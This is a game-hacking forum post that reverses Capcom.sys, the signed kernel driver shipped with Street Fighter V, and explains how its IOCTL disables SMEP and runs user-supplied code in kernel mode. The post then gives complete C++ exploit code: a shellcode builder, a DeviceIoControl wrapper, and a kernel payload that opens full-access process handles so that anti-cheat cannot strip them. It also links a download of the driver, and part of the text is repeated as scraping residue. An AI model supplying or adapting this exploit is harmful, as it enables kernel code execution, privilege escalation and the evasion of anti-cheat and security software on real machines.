MarkHC Hacked North Korea



Join Date: May 2012 Location: Brazil Posts: 2,691 Reputation: 68204

Rep Power: 298

Recognitions Former Staff

Donator (1)

Points: 97,425, Level: 45 Level up: 38%, 3,575 Points needed Activity: 1.5% Last Achievements

Capcom.sys + Usage example



Download for the driver at the bottom of the post.



Background:



On the PC version of Street Fighter V, Capcom thought it would be a good idea to install what is basically a rootkit on its users'. The "rootkit" is a signed kernel driver which opens a backdoor where users can execute arbitrary code inside the kernel.



The driver is very small so reversing it is not a challenge. Its only purpose is to open that backdoor for users to execute their code. The only real "difficulty", if you call it that, is understanding the parameters that you need to pass to DeviceIoControl (mostly because they dont make sense). Hopefully this post helps with that.



So, let's get to it!



Here's the workflow of the driver:

1. DeviceIoControl is called by the user;

2. The function at Capcom+0x590 starts;

3. It validates the input and output buffer size (they must be 8 and 4 when running x64 code, respectively).

4. It calls the function at Capcom+0x524 passing the input buffer as parameter.

5. This function checks if *(inputBuffer - 8) == inputBuffer (?? this is one of the things that don't really make any sense, but w/e). If that is not true, it bails out.

6. If that check passes, then the function disables



Here is the disassembly of these functions:



cpp: __int64 __fastcall CapcomDispatch(_DEVICE_OBJECT *device, struct _IRP *irp) { if ( ioStack->MajorFunction == IRP_MJ_DEVICE_CONTROL ) { RequiredInputBufferSize = 0; RequiredOutputBufferSize = 0; if ( ioControlCode == 0xAA012044 ) //IOCTL for x86 { RequiredOutputBufferSize = 4; RequiredInputBufferSize = 4; } else if ( ioControlCode == 0xAA013044 ) //IOCTL for x64 { RequiredInputBufferSize = 8; RequiredOutputBufferSize = 4; } //Validate buffer sizes if ( inputBufferLength != RequiredInputBufferSize || outputBufferLength != RequiredOutputBufferSize ) { irp->IoStatus.Status = 0xC000000D; goto LABEL_16; } if ( ioControlCode == 0xAA012044 ) { userFunction = *(_DWORD *)inputBuffer; } else { if ( ioControlCode != 0xAA013044 ) { LABEL_14: *(_DWORD *)inputBuffer = v4; irp->IoStatus.Information = (void *)(unsigned int)RequiredOutputBufferSize; goto LABEL_16; } userFunction = *(_QWORD *)inputBuffer; } //Calls the function that will run the code v4 = CapcomRunUserCode(userFunction); goto LABEL_14; } irp->IoStatus.Status = 0xC0000002; LABEL_16: IofCompleteRequest(irp, 0); return irp->IoStatus.Status; } __int64 CapcomRunUserCode(__int64 inputBuffer) { if ( *(_QWORD *)(inputBuffer - 8) == inputBuffer ) { //Cast parameter to function type userFunction = (void (__fastcall *)(PVOID (__stdcall *)(PUNICODE_STRING)))inputBuffer; fnMmGetSystemRoutineAddress = MmGetSystemRoutineAddress; sub_10788(&v2); //Disables SMEP userFunction(fnMmGetSystemRoutineAddress); //Runs user code passing as parameter MmGetSystemRoutineAddress sub_107A0(&v2); //Enables SMEP result = 1i64; } else { result = 0i64; } return result; }



Now, with all that in mind, we can use this beauty to do fun things.



First thing we need to do is make sure we send what the driver is expecting through DeviceIoControl.



I've defined a generic class that will execute any function you pass to it using the Capcom driver. Hopefully the comments are enough to understand how it works.



Capcom.h

cpp: #pragma once #include <Windows.h> #include <winternl.h> #define IOCTL_X86 0xAA012044 #define IOCTL_X64 0xAA013044 #define PAYLOAD_BUFFER_SIZE 0x200 using fnMmGetSystemRoutineAddress = PVOID(NTAPI*)(PUNICODE_STRING); using fnCapcomRunFunc = VOID(NTAPI*)(fnMmGetSystemRoutineAddress, PVOID); struct CapcomCodePayload { BYTE* PointerToPayload; // This points to the Payload member below BYTE Payload[PAYLOAD_BUFFER_SIZE]; // Payload that is going to be executed }; class CapcomIoctl { public: /// Arguments: /// - UserFunction: The function that will be executed /// - CustomData: Pointer to custom data that will be sent to the function void Build(fnCapcomRunFunc UserFunction, PVOID UserData); void Free(); /// Arguments: /// - CapcomDevice: Handle to the Capcom device void Run(HANDLE CapcomDevice); private: BYTE* PointerToPayload; //This must point to CapcomCodePayload::Payload };

Capcom.cpp

cpp: #include "Capcom.h" #include <Windows.h> #include <stdio.h> void CapcomIoctl::Build(fnCapcomRunFunc UserFunction, PVOID UserData) { printf("[Capcom] Building request...

"); printf("[Capcom] Function: %p

", UserFunction); printf("[Capcom] Data : %p

", UserData); // This is where the code that will be executed will reside. // We need EXECUTE access on this memory page. CapcomCodePayload* CodePayload = (CapcomCodePayload*)VirtualAlloc(nullptr, sizeof(CapcomCodePayload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); printf("[Capcom] Payload allocated at %p

", CodePayload); // This payload is what will be executed. // It will mov the CustomData into RDX and then JMP to the function // pointed by UserFunction BYTE CodePayloadTemp[] = { 0xE8, 0x08, 0x00, 0x00, 0x00, // CALL $+8 ; Skip 8 bytes, this puts the UserFunction into RAX 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // UserFunction address will be here 0x48, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // MOV RDX, CustomData 0x58, // POP RAX 0xFF, 0x20 // JMP [RAX] }; // Fill in the missing bytes *(ULONGLONG*)(CodePayloadTemp + 0x5) = (ULONGLONG)UserFunction; *(ULONGLONG*)(CodePayloadTemp + 0xF) = (ULONGLONG)UserData; // Make everything point at what it needs to CodePayload->PointerToPayload = CodePayload->Payload; this->PointerToPayload = CodePayload->Payload; // Copy the payload into the buffer that is going to be sent ZeroMemory(CodePayload->Payload, PAYLOAD_BUFFER_SIZE); CopyMemory(CodePayload->Payload, CodePayloadTemp, sizeof(CodePayloadTemp)); } void CapcomIoctl::Free() { VirtualFree(PointerToPayload, 0, MEM_RELEASE); } void CapcomIoctl::Run(HANDLE CapcomDevice) { DWORD OutputBuffer; DWORD BytesReturned; printf("[Capcom] Running exploit...

"); if(DeviceIoControl(CapcomDevice, IOCTL_X64, &PointerToPayload, 8, &OutputBuffer, 4, &BytesReturned, nullptr)) { printf("[Capcom] Success

", OutputBuffer); } else { printf("[Capcom] Error %d

", GetLastError()); } } (so EAC can't strip your handle, for instance) :



cpp: #include <Windows.h> #include <winternl.h> #include <stdio.h> #include "Capcom.h" //Links against ntdll for RtlInitUnicodeString implementation #pragma comment(lib, "ntdll.lib") typedef struct _EPROCESS *PEPROCESS; typedef struct _ACCESS_STATE *PACCESS_STATE; typedef struct _OBJECT_TYPE *POBJECT_TYPE; typedef CCHAR KPROCESSOR_MODE; POBJECT_TYPE* PsProcessType; NTSTATUS (NTAPI* PsLookupProcessByProcessId)(HANDLE, PEPROCESS*); VOID (NTAPI* ObDereferenceObject)(PVOID); NTSTATUS (NTAPI* ObOpenObjectByPointer)(PVOID,ULONG,PACCESS_STATE,ACCESS_MASK,POBJECT_TYPE,KPROCESSOR_MODE,PHANDLE); BOOLEAN g_InitializationFinished = FALSE; struct OPENPROCESS_DATA { HANDLE ProcessId; ACCESS_MASK Access; HANDLE ReturnedHandle; }; void GetSystemRoutines(fnMmGetSystemRoutineAddress MmGetSystemRoutineAddress) { UNICODE_STRING usPsLookupProcessByProcessId, usObDereferenceObject, usPsProcessType, usObOpenObjectByPointer; RtlInitUnicodeString(&usPsLookupProcessByProcessId, L"PsLookupProcessByProcessId"); RtlInitUnicodeString(&usObDereferenceObject, L"ObDereferenceObject"); RtlInitUnicodeString(&usPsProcessType, L"PsProcessType"); RtlInitUnicodeString(&usObOpenObjectByPointer, L"ObOpenObjectByPointer"); PsLookupProcessByProcessId = (decltype(PsLookupProcessByProcessId))MmGetSystemRoutineAddress(&usPsLookupProcessByProcessId); ObDereferenceObject = (decltype(ObDereferenceObject))MmGetSystemRoutineAddress(&usObDereferenceObject); PsProcessType = (decltype(PsProcessType))MmGetSystemRoutineAddress(&usPsProcessType); ObOpenObjectByPointer = (decltype(ObOpenObjectByPointer))MmGetSystemRoutineAddress(&usObOpenObjectByPointer); g_InitializationFinished = TRUE; } void __stdcall CapcomOpenProcess(fnMmGetSystemRoutineAddress MmGetSystemRoutineAddress, PVOID CustomData) { NTSTATUS Status = 0; PEPROCESS Process = NULL; HANDLE Handle = NULL; OPENPROCESS_DATA* Data = (OPENPROCESS_DATA*)CustomData; if(!g_InitializationFinished) { GetSystemRoutines(MmGetSystemRoutineAddress); } __try { if(Data->ProcessId != NULL) { Status = PsLookupProcessByProcessId(Data->ProcessId, &Process); } if(Status >= 0) { Status = ObOpenObjectByPointer( Process, 0, NULL, Data->Access, *PsProcessType, 0/*KernelMode*/, &Handle); if(Status >= 0) { Data->ReturnedHandle = Handle; } } } __except(EXCEPTION_EXECUTE_HANDLER) { } if(Process != NULL) ObDereferenceObject(Process); }

And then we can call it:



cpp: int main() { WCHAR DeviceName[] = TEXT("\\\\.\\Htsysm72FB"); HANDLE DeviceHandle = CreateFile( DeviceName, FILE_ALL_ACCESS, FILE_SHARE_READ, nullptr, FILE_OPEN, FILE_ATTRIBUTE_NORMAL, nullptr); if(DeviceHandle) { printf("DeviceHandle: 0x%p

", DeviceHandle); OPENPROCESS_DATA Data; Data.ProcessId = (HANDLE)4; Data.Access = PROCESS_ALL_ACCESS; Data.ReturnedHandle = (HANDLE)nullptr; CapcomIoctl ioctl; ioctl.Build(CapcomOpenProcess, (PVOID)&Data); ioctl.Run(DeviceHandle); ioctl.Free(); printf("Process Handle: 0x%p

", Data.ReturnedHandle); } ::system("pause"); return EXIT_FAILURE; }

And et voilà:







There are many other cool things that you can do with this. I'll leave that for you guys to figure out



Peace



Capcom.sys Download: http://www.unknowncheats.me/forum/do...=file&id=18276



Some links:

https://www.reddit.com/r/Games/comme...rnel_level_in/

https://www.reddit.com/r/StreetFight...ng_htsysm72fb/

https://twitter.com/Bill307_ca/statu...98630642339844

https://twitter.com/thewack0lian/sta...97840762245124

https://www.ncsi.com/nsatc11/present...es/fischer.pdf I haven't seen this posted anywhere around here, so I might as well do it.Download for the driver at the bottom of the post.On the PC version of Street Fighter V, Capcom thought it would be a good idea to install what is basically a rootkit on its users'. The "rootkit" is akernel driver which opens a backdoor where users can execute arbitrary code inside the kernel.The driver is very small so reversing it is not a challenge. Its only purpose is to open that backdoor for users to execute their code. The only real "difficulty", if you call it that, is understanding the parameters that you need to pass to DeviceIoControl (mostly because they dont make sense). Hopefully this post helps with that.So, let's get to it!Here's the workflow of the driver:1. DeviceIoControl is called by the user;2. The function at Capcom+0x590 starts;3. It validates the input and output buffer size (they must be 8 and 4 when running x64 code, respectively).4. It calls the function at Capcom+0x524 passing the input buffer as parameter.5. This function checks if *(inputBuffer - 8) == inputBuffer (?? this is one of the things that don't really make any sense, but w/e). If that is not true, it bails out.6. If that check passes, then the function disables Supervisor Mode Execution Protection , runs the code located at inputBuffer, and then enables SMEP again.Here is the disassembly of these functions:Now, with all that in mind, we can use this beauty to do fun things.First thing we need to do is make sure we send what the driver is expecting through DeviceIoControl.I've defined a generic class that will execute any function you pass to it using the Capcom driver. Hopefully the comments are enough to understand how it works.Capcom.hCapcom.cppAfter all that, we can now write our own functions! As an example, here's how you can open a process using only kernel codeAnd then we can call it:AndThere are many other cool things that you can do with this. I'll leave that for you guys to figure outPeaceSome links: Last edited by MarkHC; 18th December 2016 at 03:25 PM . Reason: Cleanup some of the code